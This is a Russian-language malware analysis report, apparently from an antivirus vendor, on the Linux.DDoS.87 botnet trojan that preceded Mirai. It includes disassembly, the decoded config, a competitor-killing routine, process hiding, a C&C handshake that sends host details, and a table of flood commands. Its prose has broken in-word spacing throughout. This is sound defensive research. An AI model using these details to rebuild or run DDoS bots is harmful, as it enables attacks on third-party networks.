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Введен ие

Тро ян ец для О С Linux, п о лучивш ий н аим ен о ван ие Linux.Mirai, им еет целы й ряд

п редш ествен н ико в. П ервая вредо н о сн ая п ро грам м а это го  сем ейства бы ла до бавлен а в вирусн ы е

базы  в м ае 2016 го да и п о лучила н аим ен о ван ие Linux.DDoS.87. В н ачале августа п о явилась н о вая

версия тро ян ца – Linux.DDoS.89, а в ко н це то го  же м есяца вирусн ы е ан алитики исследо вали

со бствен н о  Linux.Mirai.

Что бы  п ерейти к о п исан ию  ин тересую щ его  вас тро ян ца, кликн ите п о  о дн о й из ссы ло к н иже:

О п исан ие Linux.DDoS.87 

О п исан ие Linux.DDoS.89

О п исан ие Linux.Mirai
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Linux.DDoS.87

c129e2a23abe826f808725a0724f12470502a3cc – x86 

8fd0d16edf270c453c5b6b2481d0a044a410c7cd – ARM

9ff383309ad63da2caa9580d7d85abeece9b13a0 – ARM

Тро ян ец для О С Linux, п редн азн ачен н ы й для о сущ ествлен ия DDoS-атак. Все версии вредо н о сн о й

п ро грам м ы  исп о льзую т библио теку uClibc.so. П еред н ачало м  цикла п рием а и вы п о лн ен ия

ко м ан д тро ян ец вы зы вает следую щ ие фун кции:

.text:0804B378                 push    1000h           ; size

.text:0804B37D                 call    _malloc

.text:0804B382                 mov     edi, eax        ; buffer for com-
mand

.text:0804B384                 call    fillConfig

.text:0804B389                 call    init_random

.text:0804B38E                 call    runKiller

.text:0804B393                 call    fillCmdHandlers

fillConfig

Эта фун кция о твечает за вы делен ие о бласти п ам яти, в ко то ро й хран ится ко н фигурацио н н ая

ин фо рм ация. Н а язы ке C хран ен ие ко н фигурации м о жн о  о п исать следую щ им и структурам и

дан н ы х:

union {
  char *;
  short *;
  int  *;
} conf_data;
 
struct conf_entry {
    uint32    number;
    conf_data data;
    uint32    length
}
 
struct malware_config {
    conf_entry *entries;
    uint32      entries_count;
}

Каждо е п о ле ко н фигурации зап о лн яется следую щ им  о бразо м :

Config.entries = realloc(Config.entries, 12 * Config.length + 12);

v0 = &Config.entries[Config.length];

v0->number = 0;

v1 = malloc(4u);
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*v1 = XX;

v1[1] = XX;

v1[2] = XX;

v1[3] = XX;

v0->data = v1;

v2 = Config.entries;

v3 = Config.length + 1;

Config.entries[Config.length].length = 4;

Config.length = v3;

Н еко то ры е стро ки хран ятся в зако диро ван н о м  виде в elf-файле, п еред зап исью  о н и

раско дирую тся:

.text:0804CA8B                 call    _realloc

.text:0804CA90                 mov     edx, ds:Config.length

.text:0804CA96                 lea     edx, [edx+edx*2]

.text:0804CA99                 mov     ds:Config.entries, eax

.text:0804CA9E                 lea     esi, [eax+edx*4]

.text:0804CAA1                 mov     dword ptr [esi], 0Bh

.text:0804CAA7                 mov     [esp+1Ch+size], 49h ; size

.text:0804CAAE                 call    _malloc

.text:0804CAB3                 mov     edx, 1

.text:0804CAB8                 mov     ebx, eax

.text:0804CABA                 mov     ecx, offset unk_804FD80

.text:0804CABF                 add     esp, 10h

.text:0804CAC2

.text:0804CAC2 loc_804CAC2:                            ; CODE XREF:
fillConfig+4D0j

.text:0804CAC2                 mov     al, [ecx]

.text:0804CAC4                 inc     ecx

.text:0804CAC5                 xor     eax, 0FFFFFFAFh

.text:0804CAC8                 mov     [edx+ebx-1], al

.text:0804CACC                 inc     edx

.text:0804CACD                 cmp     edx, 4Ah

.text:0804CAD0                 jnz     short loc_804CAC2

.text:0804CAD2                 mov     eax, ds:Config.length

.text:0804CAD7                 mov     ecx, ds:Config.entries

.text:0804CADD                 mov     [esi+4], ebx

.text:0804CAE0                 lea     edx, [eax+eax*2]

.text:0804CAE3                 inc     eax

.text:0804CAE4                 mov     dword ptr [ecx+edx*4+8], 49h

.text:0804CAEC                 mov     ds:Config.length, eax
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В исследо ван н о м  о бразце в ко н фигурации со хран яю тся следую щ ие дан н ы е:

Н о м ер Тип  дан н ы х Зн ачен ие Н азн ачен ие

0 uint32 — IP-адрес уп равляю щ его  сервера

1 uint 16 — п о рт

2 стро ка 'kami\x00' вы во дится в main н а stdin п ри

зап уске тро ян ца

3 uint 8 1 о тп равляется н а сервер п о сле

п ередачи MAC-адреса

4 4 0x08080808 н е исп о льзуется

5 4 JR** н е исп о льзуется

6 4 0x06400640 н е исп о льзуется

7 4 0x0300f4d1 н е исп о льзуется

8 стро ка "TSource Engine Query" cmd1 – TSource Engine DDoS

9 стро ка "/" cmd14 default page

10 стро ка "www.google.com" cmd14 default host

11 стро ка "Mozilla/5.0 (Windows NT 6.1; WOW64;

rv:41.0) Gecko/20100101 Firefox/41.0"

cmd14 User Agent для зап ро са

12 стро ка "Mozilla/5.0 (Windows NT 6.1; WOW64)

AppleWebKit/537.36 (KHTML, like Gecko)

Chrome/45.0.2454.101 Safari/537.36"

cmd14 User Agent для зап ро са

13 стро ка "Mozilla/5.0 (Windows NT 6.1; WOW64)

AppleWebKit/537.36 (KHTML, like Gecko)

Chrome/46.0.2490.80 Safari/537.36"

cmd14 User Agent для зап ро са

14 стро ка "Mozilla/5.0 (Windows NT 6.1; WOW64)

AppleWebKit/537.36 (KHTML, like Gecko)

Chrome/46.0.2490.71 Safari/537.36"

cmd14 User Agent для зап ро са

15 стро ка "Mozilla/5.0 (Macintosh; Intel Mac OS X

10_11) AppleWebKit/601.1.56 (KHTML, like

Gecko) Version/9.0 Safari/601.1.56"

н е исп о льзуется

20 стро ка "GET " cmd14 фо рм иро ван ие зап ро са

21 стро ка "HTTP/1.1" cmd14 фо рм иро ван ие зап ро са

22 стро ка "Host: " cmd14 фо рм иро ван ие зап ро са

23 стро ка "Connection: keep-alive" cmd14 фо рм иро ван ие зап ро са
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Н о м ер Тип  дан н ы х Зн ачен ие Н азн ачен ие

24 стро ка "User-Agent: " cmd14 фо рм иро ван ие зап ро са

25 стро ка "Accept: text/html,application/xhtml

+xml,application/xml;q=0.9,image/webp,*/

*;q=0.8"

cmd14 фо рм иро ван ие зап ро са

26 стро ка "Accept-Encoding: gzip, deflate, sdch" cmd14 фо рм иро ван ие зап ро са

27 стро ка "Accept-Language: en-US,en;q=0.8" cmd14 фо рм иро ван ие зап ро са

28 стро ка "Cookie: " н е исп о льзуется

29 стро ка "/proc/" исп о льзуется фун кцией runKiller

30 стро ка "/exe" исп о льзуется фун кцией runKiller

31 стро ка "/cwd/" исп о льзуется фун кцией runKiller

33 стро ка ".shinigami" исп о льзуется фун кциям и runKiller,

main

100 стро ка "gayfgt" исп о льзуется фун кцией runKiller

101 стро ка "REPORT %s:%s" исп о льзуется фун кцией runKiller

102 стро ка "hello friend  " исп о льзуется фун кцией runKiller

103 стро ка "[KTN]" исп о льзуется фун кцией runKiller

Для п о лучен ия зн ачен ий из ко н фигурации в дальн ейш ем  исп о льзую тся следую щ ие фун кции:

Фун кция Н азн ачен ие

char *get_data_from_config(int num-

ber)

во звращ ает указатель data для conf_entry с н о м еро м  number

uint32 get_conf_uint32(int number) во звращ ает uint32, хран ящ ийся п о  указателю  data для conf_entry с

н о м еро м  number

uint16 get_conf_uint16(int number) во звращ ает uint16, хран ящ ийся п о  указателю  data для conf_entry с

н о м еро м  number

uint8  get_conf_uint8(int number) во звращ ает uint8, хран ящ ийся п о  указателю  data для conf_entry с

н о м еро м  number
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init_random

Фун кция ин ициализирует ген ерато р п севдо случайн о й п о следо вательн о сти. Ан ало гичн ы е

ген ерато ры  исп о льзо вались в тро ян цах сем ейства Linux.BackDoor.Fgt и Linux.BackDoor.Tsunami,

о дн ако  их реализации различаю тся. 

Фун кция init_rand из Linux.BackDoor.Fgt:

.text:080481AC init_rand       proc near               ; CODE XREF:
sendUDP+249p

.text:080481AC                                         ; processCmd+1E3p

...

.text:080481AC

.text:080481AC var_4           = dword ptr -4

.text:080481AC arg_0           = dword ptr  8

.text:080481AC

.text:080481AC                 push    ebp

.text:080481AD                 mov     ebp, esp

.text:080481AF                 sub     esp, 10h

.text:080481B2                 mov     eax, [ebp+arg_0]

.text:080481B5                 mov     ds:Q, eax

.text:080481BA                 mov     eax, [ebp+arg_0]

.text:080481BD                 sub     eax, 61C88647h

.text:080481C2                 mov     ds:dword_80599E4, eax

.text:080481C7                 mov     eax, [ebp+arg_0]

.text:080481CA                 add     eax, 3C6EF372h

.text:080481CF                 mov     ds:dword_80599E8, eax

.text:080481D4                 mov     [ebp+var_4], 3

.text:080481DB                 jmp     short loc_8048211

.text:080481DD ;
-------------------------------------------------------------------------
--

.text:080481DD

.text:080481DD loc_80481DD:                            ; CODE XREF:
init_rand+6Cj

.text:080481DD                 mov     ecx, [ebp+var_4]

.text:080481E0                 mov     eax, [ebp+var_4]

.text:080481E3                 sub     eax, 3

.text:080481E6                 mov     edx, ds:Q[eax*4]

.text:080481ED                 mov     eax, [ebp+var_4]

.text:080481F0                 sub     eax, 2

.text:080481F3                 mov     eax, ds:Q[eax*4]

.text:080481FA                 xor     edx, eax

.text:080481FC                 mov     eax, [ebp+var_4]

.text:080481FF                 xor     eax, edx

.text:08048201                 xor     eax, 9E3779B9h
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.text:08048206                 mov     ds:Q[ecx*4], eax

.text:0804820D                 add     [ebp+var_4], 1

.text:08048211

.text:08048211 loc_8048211:                            ; CODE XREF:
init_rand+2Fj

.text:08048211                 cmp     [ebp+var_4], 0FFFh

.text:08048218                 jle     short loc_80481DD

.text:0804821A                 leave

.text:0804821B                 retn

.text:0804821B init_rand       endp

Фун кция init_random из Linux.DDoS.87:

.text:0804C090 init_random     proc near               ; CODE XREF: main
+29p

.text:0804C090                                         ; sub_804B930+CFp

.text:0804C090                 push    esi

.text:0804C091                 push    ebx

.text:0804C092                 sub     esp, 4

.text:0804C095                 call    ___libc_getpid

.text:0804C09A                 mov     esi, eax

.text:0804C09C                 call    _getppid

.text:0804C0A1                 sub     esp, 0Ch

.text:0804C0A4                 mov     ebx, eax

.text:0804C0A6                 push    0               ; time

.text:0804C0A8                 call    ___GI_time

.text:0804C0AD                 imul    ebx, eax

.text:0804C0B0                 mov     ecx, 3

.text:0804C0B5                 add     esp, 10h

.text:0804C0B8                 lea     edx, [esi+ebx]

.text:0804C0BB                 mov     ds:random_gen_data, edx

.text:0804C0C1                 lea     eax, [edx-61C88647h]

.text:0804C0C7                 mov     ds:rand1, eax

.text:0804C0CC                 lea     eax, [edx+3C6EF372h]

.text:0804C0D2                 mov     ds:rand2, eax

.text:0804C0D7

.text:0804C0D7 loc_804C0D7:                            ; CODE XREF:
init_random+6Fj

.text:0804C0D7                 mov     edx, ds:dword_8051694[ecx*4]

.text:0804C0DE                 mov     eax, ecx

.text:0804C0E0                 xor     eax, edx

.text:0804C0E2                 mov     edx, ds:dword_8051698[ecx*4]

.text:0804C0E9                 xor     edx, 9E3779B9h

.text:0804C0EF                 xor     eax, edx

.text:0804C0F1                 mov     ds:random_gen_data[ecx*4], eax
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.text:0804C0F8                 inc     ecx

.text:0804C0F9                 cmp     ecx, 1000h

.text:0804C0FF                 jnz     short loc_804C0D7

.text:0804C101                 pop     eax

.text:0804C102                 pop     ebx

.text:0804C103                 pop     esi

.text:0804C104                 retn

.text:0804C104 init_random     endp

runKiller

Эта фун кция зап ускает до черн ий п ро цесс, п редн азн ачен н ы й для п о иска в п ам яти п ро цессо в

других тро ян цев и их заверш ен ия. Далее о п исан  п рин цип  действия до черн его  п ро цесса.

В п ервую  о чередь п ро цесс закры вает стан дартн ы е п о то ки stdin, stdout, stderr и извлекает из

ко н фигурации н ео бхо дим ы е стро ки:

.text:0804AFAB                 push    STDIN_FILENO    ; fd

.text:0804AFAD                 call    ___libc_close

.text:0804AFB2                 mov     dword ptr [esp+0], STDERR_FILENO ;
fd

.text:0804AFB9                 call    ___libc_close

.text:0804AFBE                 mov     dword ptr [esp+0], STDOUT_FILENO ;
fd

.text:0804AFC5                 call    ___libc_close

.text:0804AFCA                 mov     dword ptr [esp+0], 1Dh

.text:0804AFD1                 call    get_data_from_config

.text:0804AFD6                 mov     dword ptr [esp+0], 1Eh

.text:0804AFDD                 mov     ds:proc, eax

.text:0804AFE2                 call    get_data_from_config

.text:0804AFE7                 mov     dword ptr [esp+0], 1Fh

.text:0804AFEE                 mov     ds:exe, eax

.text:0804AFF3                 call    get_data_from_config

.text:0804AFF8                 mov     dword ptr [esp+0], 21h

.text:0804AFFF                 mov     ds:cwd, eax

.text:0804B004                 call    get_data_from_config

.text:0804B009                 mov     dword ptr [esp+0], 64h

.text:0804B010                 mov     ds:shinigami, eax

.text:0804B015                 call    get_data_from_config

.text:0804B01A                 mov     dword ptr [esp+0], 65h

.text:0804B021                 mov     ds:gayfgt, eax

.text:0804B026                 call    get_data_from_config

.text:0804B02B                 mov     dword ptr [esp+0], 66h

.text:0804B032                 mov     ds:report_fmt, eax

.text:0804B037                 call    get_data_from_config
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.text:0804B03C                 mov     dword ptr [esp+0], 67h

.text:0804B043                 mov     ds:hello_friend, eax

.text:0804B048                 call    get_data_from_config

.text:0804B04D                 mov     ebp, ds:proc

.text:0804B053                 mov     ds:KTN, eax

Затем  п редп рин им ается п о п ы тка о ткры ть следую щ ие файло вы е о бъекты :

/proc/<PID>/exe

/proc/<PID>/cwd/

Если п о п ы тка бы ла усп еш н о й, устан авливается со о тветствую щ ий флаг, если хо тя бы  о дин  о бъект

о ткры ть н е удало сь, п ро цесс заверш ает сво е вы п о лн ен ие:

.text:0804B13F                 cmp     ds:couldOpenExe, 0

.text:0804B146                 jz      short loc_804B158

.text:0804B148                 lea     ebp, [esp+0A3Ch+var_226]

.text:0804B14F                 cmp     ds:couldOpenCWD, 0

.text:0804B156                 jnz     short loc_804B17E

.text:0804B158

.text:0804B158 loc_804B158:                            ; CODE XREF: run-
Killer+1C6j

.text:0804B158                 sub     esp, 0Ch

.text:0804B15B                 push    0               ; status

.text:0804B15D                 call    ___GI_exit

Если п ро цесс п ро до лжает рабо ту, п о сле 5-секун дн о й п аузы  н ачин ается п о иск и заверш ен ие

п ро цессо в других тро ян цев п утем  чтен ия в н еп реры вн о м  цикле со держим о го  п ап ки /proc/:

.text:0804B162 read_proc_from_begin:                   ; CODE XREF: run-
Killer+225j

.text:0804B162                 sub     esp, 0Ch

.text:0804B165                 mov     eax, [esp+0A48h+var_A34]

.text:0804B169                 push    eax

.text:0804B16A                 call    ___GI_closedir

.text:0804B16F                 mov     [esp+0A4Ch+fd], 5

.text:0804B176                 call    sleep

.text:0804B17B                 add     esp, 10h

.text:0804B17E

.text:0804B17E loc_804B17E:                            ; CODE XREF: run-
Killer+1D6j

.text:0804B17E                 sub     esp, 0Ch

.text:0804B181                 mov     eax, ds:proc

.text:0804B186                 push    eax             ; filename

.text:0804B187                 call    ___GI_opendir

.text:0804B18C                 mov     [esp+0A4Ch+var_A34], eax
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.text:0804B190                 add     esp, 10h

.text:0804B193

.text:0804B193 read_next_proc_entry:                   ; CODE XREF: run-
Killer+23Aj

.text:0804B193                                         ; runKiller+296j

...

.text:0804B193                 sub     esp, 0Ch

.text:0804B196                 mov     edx, [esp+0A48h+var_A34]

.text:0804B19A                 push    edx

.text:0804B19B                 call    ___GI_readdir

.text:0804B1A0                 add     esp, 10h

.text:0804B1A3                 test    eax, eax

.text:0804B1A5                 jz      short read_proc_from_begin

Если в п ап ке, из ко то ро й бы л зап ущ ен  п ро цесс, о бн аруживается файл с им ен ем  .shinigami, тако й

п ро цесс н е заверш ается – с исп о льзо ван ием  это го  сп о со ба реализо ван о  н еко е п о до бие

сам о защ иты :

.text:0804B1BC                 push    eax             ; char

.text:0804B1BD                 push    eax             ; int

.text:0804B1BE                 mov     eax, ds:proc

.text:0804B1C3                 push    eax             ; a2

.text:0804B1C4                 push    ebp             ; a1

.text:0804B1C5                 call    strcpy

.text:0804B1CA                 pop     ecx

.text:0804B1CB                 lea     ebx, [ebp+eax+0]

.text:0804B1CF                 pop     eax

.text:0804B1D0                 push    esi             ; a2

.text:0804B1D1                 push    ebx             ; a1

.text:0804B1D2                 call    strcpy

.text:0804B1D7                 add     ebx, eax

.text:0804B1D9                 pop     eax

.text:0804B1DA                 mov     eax, ds:cwd

.text:0804B1DF                 pop     edx

.text:0804B1E0                 push    eax             ; a2

.text:0804B1E1                 push    ebx             ; a1

.text:0804B1E2                 call    strcpy

.text:0804B1E7                 pop     edx

.text:0804B1E8                 pop     ecx

.text:0804B1E9                 mov     ecx, ds:shinigami

.text:0804B1EF                 lea     eax, [ebx+eax]

.text:0804B1F2                 push    ecx             ; a2

.text:0804B1F3                 push    eax             ; a1

.text:0804B1F4                 call    strcpy

.text:0804B1F9                 pop     eax
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.text:0804B1FA                 pop     edx

.text:0804B1FB                 push    0               ; flags

.text:0804B1FD                 push    ebp             ; filename

.text:0804B1FE                 call    ___GI___libc_open

.text:0804B203                 add     esp, 10h

.text:0804B206                 test    eax, eax

.text:0804B208                 js      short kill_if_bot

.text:0804B20A                 sub     esp, 0Ch

.text:0804B20D                 push    eax             ; fd

.text:0804B20E                 call    ___libc_close

.text:0804B213                 add     esp, 10h

.text:0804B216                 jmp     read_next_proc_entry

Если файла с им ен ем  .shinigami в п ап ке, из ко то ро й бы л зап ущ ен  п ро цесс, н ет, вы п о лн яется

чтен ие исп о лн яем о го  файла п ро цесса и в н ем  ищ утся стро ки из ко н фигурации с н о м ерам и вы ш е

100. В п ро цессе п о иска тро ян ец п о следо вательн о  читает фрагм ен ты  файла.  Разм ер фрагм ен та –

0x800 байт.  Если иско м о е зн ачен ие о кажется н а гран ице буфера, п ро цесс н е будет заверш ен .

fillCmdHandlers

Фун кция, о твечаю щ ая за зап о лн ен ие структуры , в ко то ро й хран ятся о брабо тчики ко м ан д.

Структура вы глядит следую щ им  о бразо м :

struct cmd {

    char  number;

    void *handler;

}

 

struct cmd_handlers {

    cmd *handlers;

    char  length;

}

Структура зап о лн яется следую щ им  о бразо м :

v0 = realloc(handlers.handlers, 8 * handlers.length + 8);

v1 = handlers.length + 1;

handlers.handlers = v0;

v2 = &v0[handlers.length];

v2->number = 0;

v2->func = cmd0_udp_random;

handlers.length = v1;
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v3 = realloc(v0, 8 * v1 + 8);

handlers.handlers = v3;

v4 = handlers.length + 1;

v5 = &v3[handlers.length];

v5->number = 1;

v5->func = cmd1_tsource;

В результате фо рм ируется следую щ ая таблица ко м ан д:

Н о м ер Н азн ачен ие

15-17 в исследо ван н о м  о бразце со держатся фун кции, ко то ры е п ро сто  вы п о лн яю тся

в беско н ечн о м  цикле

14 HTTP flood

9 Transparent Ethernet Bridging в GRE

8 UDP flood overGRE

7 устан о влен ие TCP-со един ен ия

6 о тп равка TCP-п акета

4 TCP flood – о тп равка п акето в со  случайн ы м и дан н ы м и

3 TCP flood – о тп равка п акето в с до бавлен ием  TCP options

2 DNS flood

1 TSource flood

0 UDP flood

П о сле вы п о лн ен ия п еречислен н ы х вы ш е фун кций из ко н фигурации извлекается стро ка, ко то рая

зап исы вается в п о то к stdin:

.text:0804B398                 mov     dword ptr [esp+0], 2

.text:0804B39F                 call    get_data_from_config ; kami

.text:0804B3A4                 mov     [esp+0], eax    ; a1

.text:0804B3A7                 call    strlen

.text:0804B3AC                 mov     dword ptr [esp+0], 2

.text:0804B3B3                 mov     ebx, eax

.text:0804B3B5                 call    get_data_from_config

.text:0804B3BA                 add     esp, 0Ch

.text:0804B3BD                 push    ebx             ; len

.text:0804B3BE                 push    eax             ; addr
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.text:0804B3BF                 push    1               ; fd

.text:0804B3C1                 call    ___libc_write

.text:0804B3C6                 add     esp, 0Ch

.text:0804B3C9                 push    1               ; int

.text:0804B3CB                 push    offset newline  ; int

.text:0804B3D0                 push    1               ; fd

.text:0804B3D2                 call    ___libc_write

Затем  тро ян ец затирает со бствен н о е им я, что бы  сп рятать себя:

.text:0804B3D8                 mov     ebp, [esi]      ; esi = argv[0]

.text:0804B3DA                 push    ebp             ; a1

.text:0804B3DB                 call    strlen

.text:0804B3E0                 add     esp, 10h

.text:0804B3E3                 mov     ecx, eax

.text:0804B3E5                 test    eax, eax

.text:0804B3E7                 jle     short loc_804B3F6

.text:0804B3E9                 xor     edx, edx

.text:0804B3EB

.text:0804B3EB loc_804B3EB:                            ; CODE XREF: main
+94j

.text:0804B3EB                 mov     eax, [esi]

.text:0804B3ED                 mov     byte ptr [eax+edx], 0

.text:0804B3F1                 inc     edx

.text:0804B3F2                 cmp     ecx, edx

.text:0804B3F4                 jnz     short loc_804B3EB

Далее вы п о лн яется зап уск до черн их п ро цессо в (ко д уп ро щ ен , из н его  удален ы  о бращ ен ия к

ко н фигурации):

//here is parent

pid_t child = fork();

(child > 0){

    waitpid(child, &status, 0); //waiting until child die

    exit();

}

if(!child){ //child executing this

    pid_t child2 = fork();

    if(child2 > 0){//we spawn childen - time to die

        exit(); //after this exit() grandpa will die too

    }

}
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pid_t child3 = fork();

if(child3>0){

    v28 = __GI___libc_open(".shinigami", O_CREAT, v30);

    if (v28 >= 0)

        close(v28);

    sleep(...) // one week

    kill(child3);

    exit();

}

payload;

В п ап ке тро ян ца со здается файл .shinigami, что бы  исклю чить сам о удален ие тро ян ца.

М аксим альн ы й сро к н еп реры вн о й рабо ты  Linux.DDoS.87 н а ин фициро ван н о й м аш ин е со ставляет

о дн у н еделю , п о  истечен ии ко то ро й тро ян ец заверш ает со бствен н ы й п ро цесс.

Цикл п о лучен ия и вы п о лн ен ия ко м ан д

П о сле вы п о лн ен ия всех о п исан н ы х вы ш е действий вредо н о сн ы й п ро цесс п ы тается со един иться с

уп равляю щ им  серверо м  для п о лучен ия ко м ан д:

.text:0804B44E                 call    ___libc_fork

.text:0804B453                 mov     ebx, eax

.text:0804B455                 test    eax, eax

.text:0804B457                 jg      loc_804B84E

.text:0804B45D                 call    ___GI_setsid

.text:0804B462                 sub     esp, 0Ch

.text:0804B465                 push    0               ; fd

.text:0804B467                 call    ___libc_close

.text:0804B46C                 mov     dword ptr [esp+0], 1 ; fd

.text:0804B473                 call    ___libc_close

.text:0804B478                 mov     dword ptr [esp+0], 2 ; fd

.text:0804B47F                 call    ___libc_close

.text:0804B484                 add     esp, 10h

.text:0804B487                 lea     eax, [edi+2]

.text:0804B48A                 xor     esi, esi

.text:0804B48C                 mov     [esp+48Ch+ptr_to_third_comm_byte],
eax

.text:0804B490 entry_point_of_payload_execution:       ; CODE XREF: main
+167j

.text:0804B490                                         ; main+17Aj ...

.text:0804B490                 mov     edx, esi

.text:0804B492                 mov     eax, 1000h

.text:0804B497                 and     edx, 0FFFFh
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.text:0804B49D                 push    4000h           ; int

.text:0804B4A2                 sub     eax, edx

.text:0804B4A4                 push    eax             ; int

.text:0804B4A5                 lea     edx, [edi+edx]

.text:0804B4A8                 mov     eax, ds:fd

.text:0804B4AD                 push    edx             ; char *

.text:0804B4AE                 push    eax             ; int

.text:0804B4AF                 call    ___libc_recv

.text:0804B4B4                 add     esp, 10h

.text:0804B4B7                 test    eax, eax

.text:0804B4B9                 jle     recv_failed

.text:0804B4BF                 add     esi, eax

.text:0804B4C1                 cmp     si, 1

.text:0804B4C5                 ja      short recv_ok

.text:0804B4C7                 jmp     short entry_point_of_payload_exe-
cution

Если recv во звращ ает о ш ибку, о ткры вается со кет и его  со держим о е зап исы вается в гло бальн ую

п ерем ен н ую  fd:

.text:0804B553 recv_failed:                            ; CODE XREF: main

+159j 

.text:0804B553                 mov     eax, ds:fd

.text:0804B558                 test    eax, eax

.text:0804B55A                 js      short fd_closed_or_uninitialized

.text:0804B55C                 sub     esp, 0Ch

.text:0804B55F                 push    eax             ; fd

.text:0804B560                 call    ___libc_close

.text:0804B565                 add     esp, 10h

.text:0804B568

.text:0804B568 fd_closed_or_uninitialized:             ; CODE XREF: main
+1FAj

.text:0804B568                 push    eax

.text:0804B569                 push    0

.text:0804B56B                 push    1

.text:0804B56D                 push    2

.text:0804B56F                 call    ___GI_socket

.text:0804B574                 add     esp, 10h

.text:0804B577                 mov     ds:fd, eax

Н а о п ерации чтен ия-зап иси устан авливается тайм -аут длительн о стью  в м ин уту:

socket_timeout.tv_sec = 60;

socket_timeout.tv_usec = 0;

__GI_setsockopt(fd, SOL_SOCKET, SO_RCVTIMEO, &socket_timeout, 8);
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__GI_setsockopt(fd, SOL_SOCKET, SO_SNDTIMEO, &socket_timeout, 8);

Далее устан авливается со един ен ие с уп равляю щ им  серверо м :

.text:0804B5CE                 mov     [esp+4ACh+cnc_sockaddr.sin_fam-
ily], 2

.text:0804B5D8                 add     esp, 14h

.text:0804B5DB                 push    0

.text:0804B5DD                 call    get_conf_uint32

.text:0804B5E2                 mov     dword ptr [esp+0], 1

.text:0804B5E9                 mov     [esp+49Ch+cnc_sock-
addr.sin_addr.s_addr], eax

.text:0804B5F0                 call    get_conf_uint16

.text:0804B5F5                 ror     ax, 8

.text:0804B5F9                 mov     [esp+49Ch+cnc_sockaddr.sin_port],
ax

.text:0804B601                 add     esp, 0Ch

.text:0804B604                 mov     eax, ds:fd

.text:0804B609                 push    10h

.text:0804B60B                 lea     edx, [esp+494h+cnc_sockaddr]

.text:0804B612                 push    edx

.text:0804B613                 push    eax

.text:0804B614                 call    ___libc_connect

Затем  со хран яется IP-адрес исп о льзуем о го  ин терфейса и н а сервер о тп равляется стро ка,

со держащ ая иден тификато р архитектуры  заражен н о го  устро йства (х86, ARM, MIPS, SPARC, SH-4

или M68K):

.text:0804B62F                 lea     eax, [esp+490h+status]

.text:0804B636                 mov     ecx, ds:fd

.text:0804B63C                 push    eax

.text:0804B63D                 lea     edx, [esp+494h+var_54]

.text:0804B644                 push    edx

.text:0804B645                 push    ecx

.text:0804B646                 call    ___GI_getsockname

.text:0804B64B                 mov     eax, [esp+49Ch
+var_54.sin_addr.s_addr]

.text:0804B652                 mov     ds:selfaddr, eax

.text:0804B657                 pop     eax

.text:0804B658                 pop     edx

.text:0804B659                 push    1               ; size

.text:0804B65B                 push    20h             ; nmemb

.text:0804B65D                 call    _calloc

.text:0804B662                 mov     dword ptr [esp+0], offset a2
; "telnet.x86"

.text:0804B669                 mov     ebx, eax
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.text:0804B66B                 call    strlen

.text:0804B670                 add     esp, 0Ch

.text:0804B673                 push    eax             ; a3

.text:0804B674                 push    offset a2       ; "telnet.x86"

.text:0804B679                 push    ebx             ; a1

.text:0804B67A                 call    strncpy

.text:0804B67F                 mov     eax, ds:fd

.text:0804B684                 push    4000h           ; int

.text:0804B689                 push    20h             ; int

.text:0804B68B                 push    ebx             ; char *

.text:0804B68C                 push    eax             ; int

.text:0804B68D                 call    ___libc_send

Также н а уп равляю щ ий сервер о тсы лаю тся сведен ия о  MAC-адресе сетево й карты :

.text:0804B756                 push    edx             ; ifconf *

.text:0804B757                 push    SIOCGIFFLAGS    ; request

.text:0804B75C                 push    esi             ; d

.text:0804B75D                 call    ___GI_ioctl

.text:0804B762                 add     esp, 10h

.text:0804B765                 test    eax, eax

.text:0804B767                 jnz     short loc_804B735

.text:0804B769                 test    byte ptr [esp+48Ch+a1.ifr_ifru], 8

.text:0804B771                 jnz     short loc_804B735

.text:0804B773                 push    eax             ; char *

.text:0804B774                 lea     eax, [esp+490h+a1]

.text:0804B77B                 push    eax             ; ifconf *

.text:0804B77C                 push    SIOCGIFHWADDR   ; request

.text:0804B781                 push    esi             ; d

.text:0804B782                 call    ___GI_ioctl

.text:0804B787                 add     esp, 10h

.text:0804B78A                 test    eax, eax

.text:0804B78C                 jnz     short loc_804B735

.text:0804B78E                 push    esi

.text:0804B78F                 push    6               ; a3

.text:0804B791                 lea     edx, [esp+494h+a1.ifr_ifru+2]

.text:0804B798                 push    edx             ; a2

.text:0804B799                 lea     eax, [esp+498h+macAddr]

.text:0804B7A0                 push    eax             ; a1

.text:0804B7A1                 call    strncpy

.text:0804B7A6                 add     esp, 10h

.text:0804B7A9 loc_804B7A9:                            ; CODE XREF: main
+381j...

.text:0804B7A9                 push    4000h           ; int

.text:0804B7AE                 push    6               ; int
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.text:0804B7B0                 lea     edx, [esp+494h+macAddr]

.text:0804B7B7                 mov     ebx, ds:fd

.text:0804B7BD                 push    edx             ; char *

.text:0804B7BE                 push    ebx             ; int

.text:0804B7BF                 call    ___libc_send

.text:0804B7C4                 mov     dword ptr [esp+0], 3

.text:0804B7CB                 call    get_data_char

.text:0804B7D0                 mov     ecx, ds:fd

.text:0804B7D6                 mov     [esp+49Ch+var_15], al

.text:0804B7DD                 push    4000h           ; int

.text:0804B7E2                 push    1               ; int

.text:0804B7E4                 xor     esi, esi

.text:0804B7E6                 lea     eax, [esp+4A4h+var_15]

.text:0804B7ED                 push    eax             ; char *

.text:0804B7EE                 push    ecx             ; int

.text:0804B7EF                 call    ___libc_send

П о ступ аю щ ие с сервера дан н ы е зап исы ваю тся в буфер. Если за о дн у итерацию  чтен ия п о ступ ило

бо лее о дн о й ко м ан ды , то  о н и о брабаты ваю тся п о  о череди. Фо рм ат п рисы лаем о й ко м ан ды  (для

число вы х п о лей исп о льзуется сетево й п о рядо к байто в):

П о ле Н азн ачен ие Разм ер

fullLength п о лн ая длин а п рислан н о й ко м ан ды 2

sleepTime врем я н а вы п о лн ен ие (каждая ко м ан да

зап ускает н о вы й п ро цесс через fork, и

через указан н о е врем я о н  будет «убит»)

4

cmd н о м ер ко м ан ды 1

hostCount ко личество  атакуем ы х хо сто в 1

target[hostCount] м ассив целей 5*hostCount

param_cnt ко личество  п арам етро в 1

param[param_cnt] п арам етры ...

Если п о ле fullLength == 0, то  н а уп равляю щ ий сервер будет о то слан о  два н улевы х байта:

.text:0804B518 recv_ok:                                ; CODE XREF: main
+165j

.text:0804B518                 mov     ax, [edi]

.text:0804B51B                 ror     ax, 8

.text:0804B51F                 test    ax, ax

.text:0804B522                 jnz     short process_command
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.text:0804B524                 mov     eax, ds:fd

.text:0804B529                 push    4000h           ; int

.text:0804B52E                 push    2               ; int

.text:0804B530                 push    edi             ; char *

.text:0804B531                 push    eax             ; int

.text:0804B532                 call    ___libc_send

